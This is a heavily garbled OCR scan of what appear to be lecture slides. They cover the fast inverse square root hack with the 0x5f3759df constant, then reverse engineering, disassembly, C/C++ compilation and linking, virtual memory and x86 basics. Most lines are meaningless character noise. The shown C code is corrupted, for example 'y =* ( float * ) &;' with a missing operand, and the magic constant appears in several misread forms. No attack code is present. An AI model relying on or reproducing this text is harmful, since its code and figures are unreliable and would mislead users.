« xgumberr _ ¢ 1L~ L X s 17~ , € réciprocalisquare reot _ v X « 14 X s 'S
S X v AL s ovxs o p e aXp ¥ vl fr B x 0Y ]
Yy x o 44 1A 114 L,Con LYo X+ dsy HAly s *HA & flogatd . . . -, .
s G s L S I X « T X s eS8 XIS e XD SIKGXL T .
sS4 T x s 1 s Xoop AT T p sTXX L Ry x XD xxe X s Lox,
long i;
float x2, vy;
const float threehalfs = 15F;
e ke ke A e X 70 siC o x4 yxx2r Y. S ks 4T
Y o4 4o xk kx4 Jongsie 4 s e Aol v A AL v AL
Lo e, L X YA s G A s v
x 1 0s Sl a4 oxtby x4 s ] longr _rsinteger. , , o JnBe4Xss, X p o X
XG> b4 x4 1t X xwso b s g @yt X, x . Y e X ]k
S(x 1 T A s XX

L1 x 7 s s 0% L s e s x b Ak s R T s [, X

~ ~

Fs  Fflbat1 ' 1 o «xs A5 . ¥V x Sq4 LS . o K threehaMsx 11 X 1 x o

, X ¢ s s 4.7 x s 1. X1« I+ -|,I4v~st X 2qsXOxs 4 IxsX (Isv o Ise L]
R . =]~ . X s
Floxoo X , |l y xs [ s . X 1] .

X2 = number * 0.5F ;
y = number;

ST BELT 0 s X L Xy AR XS X ]S X

A
N T o e T I A T T

i =* ( long * ) &y; [/l evilfloating point bit level hacking
y =* ( float * ) &;
i = Ox5f3759df - (i >> 1); [/ whatthe fuck?

B L |vSX s Dox "X « ., S X o, X S 4 X x R ] x s y x ¢
~ -I X s 'I 1” -I”‘- I x S * X\.,,“-I |_-I‘.x5 X
I 1, 1 x ¢ s XS X s A Xs s 47 X s
e, o d e e T A3 x0T T s x&LILxse Isx X Xs A Ix 4 (] v s s,

x5f3759d0 {1 -~ x : s X X (X L. X s s s

v oo~ > ~ ~ A~
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” SV
. T<" e Xs X" XX, 475 ssC, X1 .usX , R Lo A R Y L
s :A\XXLNS"'Y':("VX'l‘: s € Lo X 1. ”>iv|'vl-~”SX:”x>vas”L X
Fl1Tx s 14 s s v sy s, sSC 0 s X s s xs S, .8 |
S S Xw . S L 33838 R, LB L s A
s ¢ s P T Y I I IR M 1 .St pddaxp _ xT1Xos o, Cx
xves v Ao A4y x 4T X 44 s o Doxd 4 Tt xx x4
A s s ¢ i J'|Z,,><>=\Sx”x~
oxXes i v AT x o408 D oA s e e e T sy
~ _ d45D746300% . _ s ~ _ , _L T R AN N SN 0)'¢) 7451 o | s I I A
Toox s oORs s i 1ABes ¥ Los A X X AL 4 s x Do X XD x ]
1.1 X0 4], X6 1 x> . e "CFEX o4 M x ] o xx7s 44,
A5x13 . ox X Sx, os  tx o odEssx " L ekl e v T
x .= L X« , s Cs =xv-|v>< ,_1~v2i~>>v]:s“>1,-}k’.<v§vt,24jv$>‘<
X X s N A s:x§“$~x,{x~x§.‘~52_>svs‘Lth'|,s,=-|xg|<c~>|_\xL~
FL L e, o ex X xs e, 0w Xs 0w Ox5f87B9df s o W 7 X
22w x 1 X
’?Sv |_-|x~x ?2s ¢ | ,,va L, X |_.|~
L X~ , Lo X :X'ls-'-m_v'- L XX LKSTELS I T, I4X(TS X s DX, x s
doxoo0X D G G RV Zx,,x~s :xA-|yv .o XA Ist s ¢ s xx

y =y * ( threehalfs - ((x2 *y *y ) ), [llstiteration

/'y =y * ( threehalfs - (x2*y*y)); /I 2nd iteration, this can
be removed
S .« L X q N = @ SX XX X 19 s Xauex o I0% s 4 DX X X
TSR 4 A TR Soe  x asd v iexd o D L x T
Ao, . Sex oxp o xs ] X x4 kv 4T xS
x "y XX hos T X L8y s ol 4.0 ok K], s x XX K
{1 - . s ' L X X G s s 1 A S « 1 S ., . X "X E
170~ x "L 11 1x7s x s L~ kA oo x4 dd s o1 ks
= x 1 . X S | s ¢ P X LA . =4 x A T oxxsi- ’,,\kLs{ , Y .
A N sS4 1: 1S R S KSA LXAe  x o] .
”J:Vs xs~-|:vx ’LAX>X Lo Ix“sv « L ] s I 4 4s s-|"~

x5f3759d0 4 ~ x * s XX X o x s s s
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"4 L] s s Xx o, {8 T S S R X, x s XL X
x4 O s S x 4l Tk bl xx s s s o 14w d. T
Xx-l
L, »Xxsd s vaxx b 41 T ]y s e s X LA
AT LT s d L E XX, x L XS L L L X X T R, T x
(= X = x,{x {"” L s, 4 s s s -|)|-| s 4 ~» S, q{s s
Yyx o4 4 s@gE 14, xs ol a0 e X T s Ty L x T ]
1.1 - Coox ., x € . L = s x , S hx o 7s 1. 1« D
14142 A1 ., vl sSs s X 2x g 4d s Sslox
X1 v e x o x e AT X T s o X T L XX ks
X (. DX oo q x| D S S 1 1141 x x . P S ., X q L
b S N “ X ML Ihx X Ds
GO X« Lk AT@XOYSXTOIGTexx X T S ix ] ], XY T XS X s o

L LI DG, xR T e 4 I L A X T4 T X QA e e s T s

Y

T T L e T O 1es O e T T R 1

X T Ay b XU d ST XTI TSI B BCS I K S

. Sy Lo 1412 % § W Ksss xTTxsq{ s, 4s X | T 2 X " 1" . X

X v oLy e P A XX LS A X LI O S e B} A I TR BRI I . X S
, sLL X X O v dssl TIXT L X{{"S] LY S "sI1 " s's X o = X . X

P N o T e N Ao L A B T R N B

111 x"s FXow s . SRR B Ixood 18 Qr Hy « " d s Xx. o
R

X s 6 T DX e seyps 1 s s WX gspos ] x4y s

Tx 4 s N I R T S S oL L X I B BT s 4.1 _ X

ST S Lt X X, w XIS e T XN, T R

s

O IR N " 1s x x4 x5 | s Os "@gy S . I x S @sqsx "X
” XX P B S SN I 4 s DX e x T v S HALTD Y. s 1.
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“115 _I . 'I‘. LA I_‘IAIX‘I X"‘l"\. X”L~ s,,“vx
s X T X AT s s H ST s RQG T ssI d s T s
17 v@s st 17 Ash L X oox . XS dd o p 1L X o 8] xx
s L i~ .S v X X L fn oo dxsl o xs "S~ s :SN.I(:OX:“‘X"LSX -I,‘””V X L
LS S S 10«90 S v X
O R A PO B
"Qw
X TS XA T xRy, xS C e QX e o o~ Y x b g
SIS
cw
. ] ~ T
s 4 s . S,-l'le(bk)gSM(Q'L XX, qd XL N
e
"SXX=~'I.IXSL ‘)i-VJVSVSL I'JL i‘-IJ" _§2$X$'},“ *X)S,"{._ ki[
XL N oL >.}5"'|||‘15~LX""1)1 k< A " .o
X , S 1 X .+« sX S , « « S CLSaesx ] TLRX -|_.|A0’5x “A:I‘ijv.lv S_ X+
{1 s 11 . s _ 11 ] g oxox X "1 . s{" s . X X 4 Xy
XX Ly L _||_:_(')\')|_xh">|_~ LT ox
X XU LS LK ls ss L To fsx LTI headxs. T . Lx Do ]
L, X X =x q{x 4" T « 4 s I x < I 17 s ¢ L X~
1x 11~
Tt N x 7 x "oy S .« s L, X X X 1 x 4" .
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doxooX X 41" xx L. s X o, X x X X Lo " X « X X
const float threehalfs = 1.5F ;
X2 = number * 0.5F ;
y =y * ( threehalfs - (x2 *y *y) ), [llstiteration
Ix o X L, X 323253 O | . Y . S X o ld*s x 8 Yy ss " xs, I «®"” s, X
] ] x s , x (X x x ] 1L 1 2088 XS, X QL . XS {X S X
FLe_oX o b T Ax g x 3T o Txg ks D X x4 e T X sy

¢

[ T P TR S DS B e

(R R AR EE ¢ S N

X X J:,,xx,,vno(\(’:,_vx ~ HA A4 XFI-|V>< 1 4 X":’LXL' XA« A Q(J‘ il 1+ . %1 Loy X

>

LXZC Kb A AP0 S0E 4 X {00 OO X x s X K L X A o XX

Tx MATCGE x4 X 4B e d XDNATE D D X x 7 d 17 visq O] Saq X

>

110 ~XTss Ty 1] ssx e o XX T s P X

v

S ok 1 Xl v FOT L X X XX K Xy S ox XLk, Xy X

r
~ oA ~~ ~ ~ ~ N ~ ~

X8 x L, X T 4 d I -1 X 44788 o, X g X P ], x
x,&1v>@1\x‘.§1:Ix><’<],,:xxv”:~xx~L x4‘:L=~xslv1s| L‘-’F)Kﬂl-;Q*n")i)dX\‘l‘llL_]
YL LA S X Jid o x AT T R Lk s © Y XXk o x oy Lsd s L X X x ]

, % 0 x
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x5f3759d0 4 ~ x * s XX X o x s s s
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~ ~ v
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Al s T e L A Y ol A A sx d s x4 Jongm S L, X, %
114 Y % L s s TH AIYE A D X s st s, ] e X% ss L
hdy « x4 sH' o _mmaM14%8 .3 WD X & Fx Ix %ol
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Xues A1 FPd sy dn X" IsSHES ., 1S 177X <8
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I I |
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31 23 0
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3141810 * x 1l vMYL X« SUTXX LIl M e X 231415 0 X x D4
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s A " x I X K sl He o X T Xeuxss L 4 X

Lb Ay e o xs 17T x| pdvly] iase ~ W XS XS xpsq x|

w! ~ o~ o~ v

v Xosp 4, 1B=127 x  hiasr 1 - A4, ¥ { A+ A X A3 XA X x XHdpllp T~ .
s, x28BeDBs 5 4 | s{ 7 " x € R00isvY . Ob y, L x AP T x| L X {

S ol L b7 m L XREMHTO xs xxx PMsx, X W K4S XS{XXX ST x X Qs s
CaY s AW s MMM MMM MY X TR AWM MM MMM T X T X

Lo Y X~ dddlx nananaamMAl 10 L ¥ b~ x4 o NaN{ ~ xx 7 4+
17 «rls 4% 1w x ¢1 x 17 denormalized numbers ~» « ¥ s 0Ol 1 x d §1x{ .

CELMI-‘CAZ;(ZIII‘_ X4s < Xp 1481 " 7 X X X J B0 ] 4~k

Yy T® 41 48%x 8% ¢ .« M 14 4 2@ b * 1 fofu* Woat. |, . X dS L . X SR X
0 0000000O0**x 1.y IY "X ([ +d1 439 S« " gr %54 14%s
I I B S S N B Ve I EC TN B B e R S B REE S B B o SR N
s T4 Y 84 LS X d.sisX T SEM 7 A% Shlo_
p P& O

X IOvgx —T O ox o K ope — X X Do LS TXT A X o B L

X X XL s oosod ) st s s oG 4T XM sHe x4 q
?long 4~ ¥ LA AId XS xfldatl « 9 «S_08 o YK Lol 1Sy L

(r A1 30 XL Xded e 4 | D X0 X X Dk

dox “SS\,V 5 L X Isb,,svﬁs: ” XL_ML | :XV‘"X x

|i =* ( long * ) &y; /[l evilfloating point bit level hacking |

floatre - ~° 1T «itd 7 lexXdi, e xx” -8 xsT X fss, x5 X xo &bl 4o, A

FA T Tl RS % 4 T I X oL, L% X T Ky XX
o ~1 _dong o XToxXEs 4 x4 kXL yd dr Y X4, 1] BHs

YL ol AS ST o LIl Jos Dy By 4 SO0 T M SY, ST X4 7 |79 sxs.Cs
Yo J¢’~s{ XxZZJ\§-|'|xR,]4”1,,'|Ey,-,[I V‘\xxvs&,;lx-|,,>sx~‘xs§~s¢7pbx~
casting: « ~s<c™ | _ S ot xs 4 4 *x* 7 flear L X xbh. ks g X & 37 | x s
asting: ¢ X7 <« I4 47 Iexdlaip X w44 08 ds Yleng *s_4 o4 o XD X

x { _ KipatL f X x s s E X %] DX xp 4T g7 Lx i xCsspox s

x5f3759d0 4 . x 1 s o x X X o x s s s
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N4 4B e d Ass. X Dop o TSI LT 40s qdeng sec X xS s g X ]
& | Y s Xliss X {7 [ ADHS X L I K EX XK I, f.sisd il

f 1407 s~ T« %47 I%p song s L ¥ §i5%Xx BT 5 s{ {Txx,0 K s
Taxs S v, ] _ax 8% Pl x 3 {dong , A X RS AL T4 xS

17 B xs oxs T s o, xI @ X f e g8 %] oL 1"

~ v e ~

Y i s ¢q. S s. ., 0

T< X posg A AYSET pid dsidras S5 s ¢ 4 LK

v ~ > v o~ N

LK S X xs G X

x

TR I I ol S B R W S L I > N B STTHR RNV S IR TS S SO B LA

dongre 4 L dy « xd o .8 x 8 1. xIxXKd 4 g EM X X X

X As@ s x f Isxows O WX 4" S €5 v s, o XN 4 kX {7 s s

LL X SY X B oso@ Xy Xl xpss 0 9B XX Lo p e 4T % 4 e T x|

~ ~ ~

oS TR e H X1 Besixd 0 (s

Fooo Ao o 4 Xlenge float- » 0 S _Teld 4 s L X &) L, x Hhyxxe x|y X
1. LR XILTC ©0f «w ¢ r ~1@ FX 4 5¥0X , | R X X xoss §foxx |

1 hYyXxe® “vs YA AN b AL Xy 3« SR e L~ s S

LX el IXG~%_xguyd I,TC o 1t s®Os _ ~ x ™" xsx g8 g 4 1%

OTH™ +%4« 1" mds ~ 18 4 1«1

DI ] XXX 4T XK b, E¥s, 8 K BT S w4 AR 7
TS L TKx o fisxp] % %D o 08 X g L x g XX b KXIXT{psqL] x84 ] X
w1 A s 1S

TTAA 1 TAC T TAC

1 TAC 1 TAC

P

1 TAC 11 TAC
(- ~m®», 11 . XxTIpd. -I*TAG ¢ )

oL A D e XX P e Aty X ] D T Y e s 48 X3 X 4 4
LX S s A+ FB e 4 X s iser DodedX 0k d IS e B Ly Xy
1 oA XX LS s ] s XSy esxyss X D ] Sp MHMHY X )] XX

] DLy XL P Ssom g LXGD’ELT: ‘_”x'],l_sv‘. (*]f'r’f_ SXLI:q",‘J"LS

v~ o~

v

LY % 4D Tixdu X {1 6dppog . ~SXMC X5 p 4, ¥ X S 8 Xo X

x5f3759d0 {4 .~ x - s g X Xs . x s
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L] s .4 o R xs lox & k™ xiCss, x sd§ ¥ x P8 x X | {9 x 11
ST XD XL XX XX oS Xoxs] PB4 x g x L XXX 4 ysK {14 .Y xS

FAd T B T xR X A8 G T e ] s e )

X oxafxss | x

I-:‘|"SYQXLLAL‘|A(;)TXXZ:Jt-|4"|xc.f Pl AR L A s s s

G LT T X X s s A AL Y xSt T QT -1 Teg <. x

oox s S KK BV AD TX " Kl E X s

= 0x5f3759df - (i >> 1 ); //what the fuck? |

1T AT vl x4 Xex3 ] e X s oxddd L, x L xS sy X

chhs‘xl'vLX” LoL X,,X‘I,,S>¢>55=J’SC§§>W” XS‘.(X(VX,,V-IXVSL

b X XS pOMe$ T s s L % X g XTuqs it x4 14 %ssT 4 o
C K Sss| x| sCsdF | TsDO11001L | . % {isx. 08100110 . . _ s ¥ Ol -

1, x s, xsss |70 POE 1L X8, S X ¥ 0L S, L SHRES X L]

~

TH 9L X LX 4% YD X H % X D X XSl ] s R o XX L XS xxsC s

N B EZRE I B R

~

(L~ HALs 477 6dey

~

E LB qls o ¥ x| ox X)s 1.

A

F 1 AMOS 4 T 0K 4 DA S w4 Aoy L fldat |, X T s

LT 404 1%  x Qe 11 s | Csox 414X T fds] | X" X poSMB
DY R X 18, Pms e s, sy it X o KRS HAE G X . S

~ v o~ ~ ~

Paw . 10T S 2%ms 4. s, s

v~ v o~

¢ O ¢ O E ¢ O ¢ O ¢cO E ¢cO ¢ 0

¢ i ¢ O ~Yibhngt x5 % xp.x 1 ,sx 2P v T4 40, 814>x _ *px

X e X TS X S, XD o CXY 4L ST X E L tS L ~Lx DX

~ ~ ~ > 1 A

S s LS L 180y . _ x5 _, 4 *oodffidatie LT AT IS KH Xexdde T,

~

B BB T X] X LA XX LT X X X B2, HE+M. x D%

s )GHg:|S\_¢|§E+MSV|JA_SL‘_~:SA:JL\_Q)" P —¢ s {float- X 4% x « s

~

0 BT MRS N N F IS P 1 . ORI AP TR S (PR T N VRS F A T [

~ ~

X LT X E S T AN O 0C . AT xS o ] x99 4 g X

v

Sy, LAk LAy X ML e x TSt 4 T Adx s xs" o T @lC o

~ o~ ~
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Tuxdedp o 4% xR g xsae®x , X% &X 54l L i@ — =X X4 X

Xp e tse o e AR L XS sy s x9S Chk A4 4 s

x
-
£
Ll
7.3
-

,..”XX ,4 X v\.YL‘l I @ — — A . XX, _I < X -|":XX = ‘I) ”X,L‘.XX'ILX JLX ”

~ v ~

X X 4 A A KT TR AX ST AL w8 § KD Xexste x4 ]

:\.X,Sx“s\.SLAX’[-IF;,-I,,X)X,L%:X\-IXLSx;«S"

i 1 b e O e D o &
B LN NUR UL S B VR AT U I BV AL IO
FYS 4 LAY sl 4 T e 4 T X L sk T s e BM b e X

~

ny s 1 1M 7”9 x . Zv WX SP+-x0O X x A . T WS‘.J| b S X ol s . NM,5E~‘

~ ~ ~

oA )l Ty xR M X Lo XX T x0T g 1 el X s

DT B e x X X s T

~ o~ ~

LY S ] XX g X

| ©
o
o
|
o
N IO

| ©
o
~laq
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Db d e xR s L], sk fudxFs yd* 0O s XH LS X e . DX

Cofloat» x XU 41 £ XS . b o s XS Y 1% dong e X XL 41 4 s

S e XSS, X s o x FIEXC0 s KT T X asefssdys 4 {7 s
|y = * ( float * ) &; |

s .« _ s, xwhatthe fuck®e @~ X x5 17 s oox f IS4 spe x x TF] s x
[i = 0x5f3759df - (i >> 1); //whatthe fuck? |
Tx cxls x o O, 1% « xdY x D X sXes g oysx] i v sy { XS €

P X flpatx s JBER L S o 1 YasxXp 4 x4 1 X peT27. | s X BX2P. s

~

S 7 xdh X DX Braw s o Xsloxop 4 G AT Xxgss oy ] o4 oS

FIXBF3759df . x X L8 it ol XS 4. S S dsa s isp e XM ]T X x|

~ ~ A~ ~

a
x

PR A XX T Xy S X S T dnonspSandesy x| 6, 4 x 14 % s

coL s XX T 4O X T g 9 g X s, Lo - Xl B XX {OX ] o ST s Y

1 x 043 . K p Y s Xsox ) s v L P gs]Cx ¥ o Ay 4 - ] e xEf3759df

1. %, DX diIxisd™s o7 4 4@ x4 s 40 xx3 4 1 Xx xss s qX
T T B T B B R T R L B RE U W S E

~

Lo T AXB A x g xDox s floatig 4 x ¥ X g sl x ol XS , x . X

~ > v

x

~ ~

Foos X% X USf3TROAT ~ C X A e 4 T e WXl S T s ok fa{ ¢ ]

JUOGCH X AT, XXX x Qo xxs€8ss, X {5 T, 4 X 5%X X [,7 1 x "%
¥ . X

S Uofxd¥s, 4 RS TL o x-St TYIe, QxBf3759dE wu L 1S9 T T A4S L 7 x|

~

cA LT T X 4 TN Koss oysa s T 0 e o K D x4 ]
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X g {s§ *Lorosxx oo T
( issq F L1 X ST ~_~

~ 1 ors %l ed 4T XHAA Y LTI FE e 4 1S S Xy (X Ty xS

> v ~ ~ > v

:xqss“-|>$,q;x€f:)1$

170 o~ o x ke, o o  T T, Tl 2 F S e A
b -4 xoxde xix X g 41 4est 11 1 ksS4 ¢ AWOI3DA U X 4 4k T |
1L, 7 X A R XD ess Cox e L DT kL X XS xR

X 7S s x 37X DXy X x T ves T % T o x LI ko e xy 1 1

~ v A ~

. X dlaxx Yoo XS.|¢VS X Xxs{gh]xss. " x J ¥ LS, .|bv X & X sb,_.| ks ~:w leed 14 - -

X LA NG« xSX LMD XS X 1 g XIS, x wxs_ X shl LT ABd D i T L s K 4]

.Ib> B"‘IXGS\{VI\- L XXSL_L,, XI_‘_‘_S)(A b x| ix” L~

>

% plox 5 KB x 4 & ¥xisx x

A v o~

y o L e X e XIS e F D X xss, s 0 X X [T XX X g, X e

XD @ 4o XK X d o mT X T d XS] LSO XT XTIOXS 4 KKK S X fpadXe o X

~ A~

H XE)?Z)VI=OT|[S X — L P XX SRS WAT MOD « X B~ XS . XX «

Ix s | P2 I I N SN [ R T N

~ v~

x5f3759d0 {1 -~ x : s X X (X L. X s s s
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v

Lo R e s xS rsgrte p 4 L Xk A4 T Y L e,

void VectorNormalizeFast( vec3 t v )
{
float ilength;
ilength = Q rsgrt( DotProduct( v, v ) );
v[e] *= ilength;
v[1] *= ilength;
v[2] *= ilength;
¥

Lo Y 2 ¥ v L )gXmath.c, X X 4% X

v o~

X PR e S X XS XTT T L X Y LTE R L+ X 4L X KS X",
cr B d T 8T e X s s X XX A X 4] T 1 ks o x box O7

L XD R LS s SEX S T X s o sl x®ssd L 0Ty 4dF . 4L~ .

DX X x4 ] q o~ ~ S« 4 .} X z X 1 x:~x>"A1J;sx {1 .« X% A‘Jxﬁsx O S O SN

X4 rso% g ox

~

S 1 dv 4 ST UG Y L T XX AKX Fox AXsxe 4 b b, S

T X ~Lx e XS o pSXw e XXX T S, 0 X 0, X7 ¥Z T ATIXT ) xS T Y

~ > ~ > v ~

Lo, FSSs XA XA Ty T s SR T L b Al ST T8 o x T 4]0 s
S v DK X XSS ] sX 0 xs Uxx]OX] e 4 v s, KT X s x s XpOx5f3759dA - x 1 s

v~

Fod e ¥ T 4s L Dox T xs x D EsSs e e

x| X rd 4. X s Ao e et e, o oy x G xXq
DL S T A I

http://www.gadial.net/2017/08/24/0x5f3759df part 2/

http://www.gadial.net/2017/08/22/0x5f3759df part 1/

x5f3759d0 {4 . x 1 s ox X X o X s s s
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Windows - * 1 Anti Reverse Engineering

1 b X
S Jd s
s 1x s s, x oX 4, X L. Su.Xx s TReverse Engingeting L _ S L X |
’Z-|>xvs s " | x s 19 L Lo s L x s e ¢ A R
11 x 1 x . 1Tx 47 x 1) s X s 7 ] x ! Pisassembly” {X*.s4* . x ¢
. (s Debuggers
CxTox b xe X ogpess boxlbaxseosp Do X v oo b4 T b d DT s e A
D SN s X _ s X ,_-|~v2~v S ] L 1" xb¢C stv s~x
Anti Reverse Engineeringx s ¢ x x 1s oL X Xex s Gs ] q s
Tl T e X7 e Xy , XLe s pd e o x s 47 X
'|1,,X\'|—=X~a" “|_-|
P44 4 0 v 4y _ox xS
S:X‘~ ,,:x-|><_'s-]’vx-|]vﬁ<322>>s~,;-|~~s-|C}-p«q:):vx“):~vx :x><:J"~ Lox
1 1~ 1+ X x X x 1 x X « , XS A 14 P14
1 .s 1 s R L s _x b lx pq1x Pl x40
x ¢ ] s X X xxv x|
I J-le Lo~ Lo sv\ s s X :v -|-|“~ =x:xx.|”JJv: ss ”:xJW \:-|>s~ L L,,xivxv.|\
s T x o ] : o N S+, XS « x4 lX N L 1.1 1

(1000000 X Ox40 Xx86 S » X 1 « 14 1 » « Bytd~ x1441 4** Llirleaw (s % . X s s sy x 1

.S, xss oy x 4 s s X kX ys o ¥ 474

~ v

L St X T~ XY ,0 114 0 X +1s s T

~ ~

Disassembler~ ~» « ” s o x «Disassémply * 4 ~I™ =« ¢ s s x = s
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s
square(int):
int square{int num) KRl S
[ mow rbp, rsp
S——— |:> mov DWORD PTR [rbp-4], edi
) ’ mov eax, DWORD PTR [rbp-4]
c: T imul eax, DWORD PTR [rbp-4]
o ’ pop rbp
ret
J [Assembly ]
55 push rbp
48 89 e5 mow rbp,rsp
89 7d fc mowv DWORD PTR [rbp-@x4],edi
8b 45 fc mow eax,DWORD PTR [rbp-©6x4]
af at 45 fc imul  eax,DWORD PTR [rbp-8x4]
5d pop rbp
c3 ret
[L010101010-BT0QL]01
] e d o d s L x Tl x is Co_oWindaws s e s X XS X
sXx 4107 S s ., s sexas. XX Xl Xp {17 ] x

Lo X 1 « 1 Yy x o A L, C x " s I x X%
FAl T x s ] . X x4 1 X x I x =X
16 24wl x | x s s v 14 s X L xCHH
I .~ 1GWith Objeets” + _ * s« L1979 1<"4.S% S 7 X Chbape 1S TS HXD
L F s . X« ( I x X X 4L« X 1., qX
Yo X s L, ¥YB s xX s s {A)S LXxs 470X
~ X" Cs+_ s | * Basie Comljined Programming Languad®CPL + _ * S,

v ~ a

=1 x s PB

~ vV~ v~

s G5 {w X

GXC++ L

L

bd . 1, T XL €+ w8 x4 ]s D e s
y X X 4 S |« "] .S IxxA s X Fod X
s " x ] . S .
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]
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String + 1~ 4! ¥Ycha) _wdAxx( o _ 1 y¥yx 1 xYXStridg.G, . , 1% _, ¢S
P N T I U RV BN I P O T (¢ S S I A 1,
. Null terminatoy , 80, * 1 x © s+ 144>* X oS

char greeting[6] = {'H', 'e", '1', '1*, ‘o', "\@'};

B X« e B X L XX QX DX, ] DX € ox o, ] ] x 1% X ¢ ox o, .
FX o awd X ey Gy, bs ] s Tx T Tx ] x
x " R X X L X s X , s q 11
N, 17 % wString 4 4 XX X X, CHE Loy 4S9 L4 s LoD X
s 1x 7" .0 XA s X s s | x X . . s ¢ X L R

a ~ > ~ ~ v

[ string strl = "Hello™; |

A 1 1. TxoL Dol L X x 1 oS X, X DX s

A~ N a ~

STX ] ISC o E X S TR X T XX Qb L Xt 4 XL T s X

Xx o, bx X X, X T TG L X IO ) e X ] N ]
( = x ., ] ¢ L x s . x 1L
1.x 41 ux o4 14
GH+C ©, % 41171 1 xaexé AN Nl R xx o ssnx ] (bxa
FAdd s w4 A . s X X 1, x . s ¢ s ] 4L s
r 11 <1 _xs* { Préprocessing .1

L . Préprocessof Preprocessep XL . < Xxs 4o s X, i x4{f 1x s x |
Hdefine-# x - >x Lx 7 ox o Lx o Lox epp R e XeSX S X o XN L]

h-s 1% Lo T Hincludes < xx LR x ] #ifdef #nclude s _ x I | x
CXX s ol s Ss X s X Magrétt sl s B X X X0 pd T x 2 g

DXL T It CHs P (L DCHH L IX xS 1

A ~ ~

~

x v X _-1Cempiling .2

1 "CH+¢ X x o L] FY o~ ~ L 1 1Preprecessef , « L 41 L s JL 4% X

~

X S {1« X« EdOx oL Fd 44, X ,I,,>”>< (+ _~xX_s S

L oL A 1L X _ sgvs xXH X DI AT o ¥d 1 s 141

R .o 45 .« X S X G s s 14 x x " x , {1 s [
1Y T xoX o qnx P
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Xpvs b Xas s 7 x | X A I I T T I N (£ RN BN
s ss 40X L. s 0 Ixe b sxi{x dbecifles v 1k S s X
R I
X« b 40X L. +_X4«~1 ! xobjeectfile + ¥ ss S ¥ <qg x X,
FX oL s XA X oS 4 XX T xse Xy s 40 0 e e
Lt . ! dundefined symbols 4 7 x < 4 T - x 0 kAl ¥YIX{ 40 X s s x0T
x »x | ms o 1ox f "yndefined-symbels  f e s oy 1y 1s T4
14> o 1 s 4Linking x3* 4 1 s
S . .8 . ¢ x objeet filess -~ 4 ¥ 3 x L] N by« X0 s f«xs 14
J1osu o TxL,14Ss X7, tox Tlnkes | L. TSpX SR ] oils] ol
TwibinRer 4 L oL L o0 Lrd T X s 4o es T4 x4 4]
LT x ] s o x Jqbjectfiles®d X7 x4, _] S4s] 1 ox X x|
L X oxs L b4 XIS ST s dwds XL L,y x o sl x
DR 1ot Y oAse X G L. X7Ab 14 .x %) 168 4d~ (. Linkerx - v
L Xl s ¢ - s 7 v X s 4 x s . x X X X =
X awe s v 4 x s s L UndefinedsSymb®l v Kinkére - o« {"Y
Ll o os by xs o s
s s 4. Xlib oxdll, x xTY 4. 1~ x  tlinkery 1 Td 1Y 4~ _
A R I A
Linke,s 11 4 (7 1 xldlixxwgxe ** ® 4 s {x 1 7 {4 x x> 4 x s o s 4
CF Y. b Ixe L sTX s xs s,
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(Virtual Memory) 1L~ X1, 4X X,

T4 1 xtoos T x ] . ] e X L X ], x "]
| Lo Lxs'-|.”s|~_{-|_|_s':,,¢xA~ |X\.V sxx~'| Z-|”,,va s « {7 |
s 47 L 1T« x 4. 4 ~0v_ 11 A
Virtual memory Physical
(per process) memory L« x 1. qx =x ., 1€ Lo RN .o A
Dox ot ox oL L L xs 4 N
X xo, ARAM I 7" X1, ] ¢ Lo L boxy , L PloxoS
. XL XX, S R I S RO I I | N o
=s,_~ AI'I\,S . X o.ooox X 4 s x 7] X s L
L x " o, 4. s s x4 s g i
X < {7 x 1 ¢ I x . 1~ s ” ] X ><~ ‘-|>
Y s x A X 4 s X 4T ] S L] X , X
x4 " Lo =x ., ] ¢s Lo L X s 47 s 1x 4 0
Lo s 4L - a0 X ] X s-|”~sv N Lx "] x 1os
bx s 1] Lo, X s 14 s s 7] Lol L X
(r AT sy Ay X A ) e .
Lxs 47 sl {74s , oo x DXx o]y DY
DX ox o], (X x 1] osx T B CMMUY P X, s L) X &, ]
sv . blxx s ys 4 4 PageTablgs. ¥« AN x| X RAMXLEHCH( L.
Sxo o1 o x e d e e s XXl s i8], X
L s 7L ] 1 x , 17 U SRAM XX T 4 Xa S e XL s « qs 1. G s S
exs T x 17 O RAMS O TN X LIHS 4L $4. . Tx. ] Ss o xTX oy
s L s s N _X bx s oo Al o xANe 1D XXX JFsx '\, 5

Rage x| X Ko DXL 4T RAMSY duees TH _weoS A Sesixs X x
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x86 L S I I T T BT R
114l vds x4 ] sox " 4 ]s
Lo 111X s X X x + x86” s ,
x4 . "ov is FAb 447 s x
T I B L. P s L e L.
I wos _ _Lox (" XX S TX vy X
.0 _808 174 X s BB X & {s X1, Xy |x
(s 4! Intel.8ase )
FAA T )y x4 X 4 {-Registey X Xkt Yol o0 T X e L X86 W X 4 4T L 1 x|
Fod . 17" 10 sy Lo UL , S v .7 v SR xom =Xv-|\l
bx s A4 Xy 0 Xx 4 1s Do X .Yy X s T X
. Random Access MemgQriRAMs = x . | € X X x , xS v X T § 1 Ty
EAX, EBX, EDX, ESI, Eljeneral purpose registery” {1 v v 1 x4 _ ¢ ¢4 x4 s
Lo oL , p Ay x L P17 32F 1 o H ¥ Y X
(top of stack pointey Stacks - ¢ 1 1 - L. - X*XBSPIYs -+« L 41

(stack base pointdrStacks . 1 , * . _ + *-EBPIf ‘+ o4

~

(Instructionpointejy 4 11x 7 s s, xss.FP ¢! *xI ]s

DX 4t ot amoy) o Xl dxos D (s L T X e X X8 x8BX X s xisX X sfs o X
AT T o0 s X s mpjagje) - xS 1% ¢ and(orxen)* s - X, S(l add, div, n{ul)
FY T4 4 kAT oxe s oxp v X { pUshpop) ! T, s

s Lx 1A - S T T Pod e X1 X L) XXy sy o xx sy ] vy

e A esy o xox D

+ Reéal Mode.Protected Modex Real Mode : ¢+ 141~ « 1 | s 1 x %86 A2« "1~ <7 L1

! 1s s 1 xx Prtected Modes x § I *-16* * 4 4> I xx 4 4 Xsx T 4s

© X « Meméry Rotection Vjirtual Memory *x _ | .~ * x {4 > x4 x 4 x Tx o ox7
L« ,(~»*X1«~1L ‘RealMode * + _* ¥ ¥d{19)_. +R6 A" X1 _« i ~rld L
« Protected Mode* ' 4 _ 1 2 kYRZgaAJN [KYfdEXx s s s N

14 14s sU xxs s RealMode 1DOS x 1 Dx T 4 s s X

x86* s 14 __ s*4 s o+« ¢x  Disassembly~ X! x < Tx o ow L bH

s Xx 1w ds 4 x .
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X"XJ
q s X S
X « S L :J,,
s 4" s 1~ x I 1 x % S X +x86., S L
S+ v~ Jing8y ~Ming®, .. 1s o (socx Ll
] « | x S =x " Y Lol ox s {7
DX Lo« s S . .~ S S LX

Device drivers

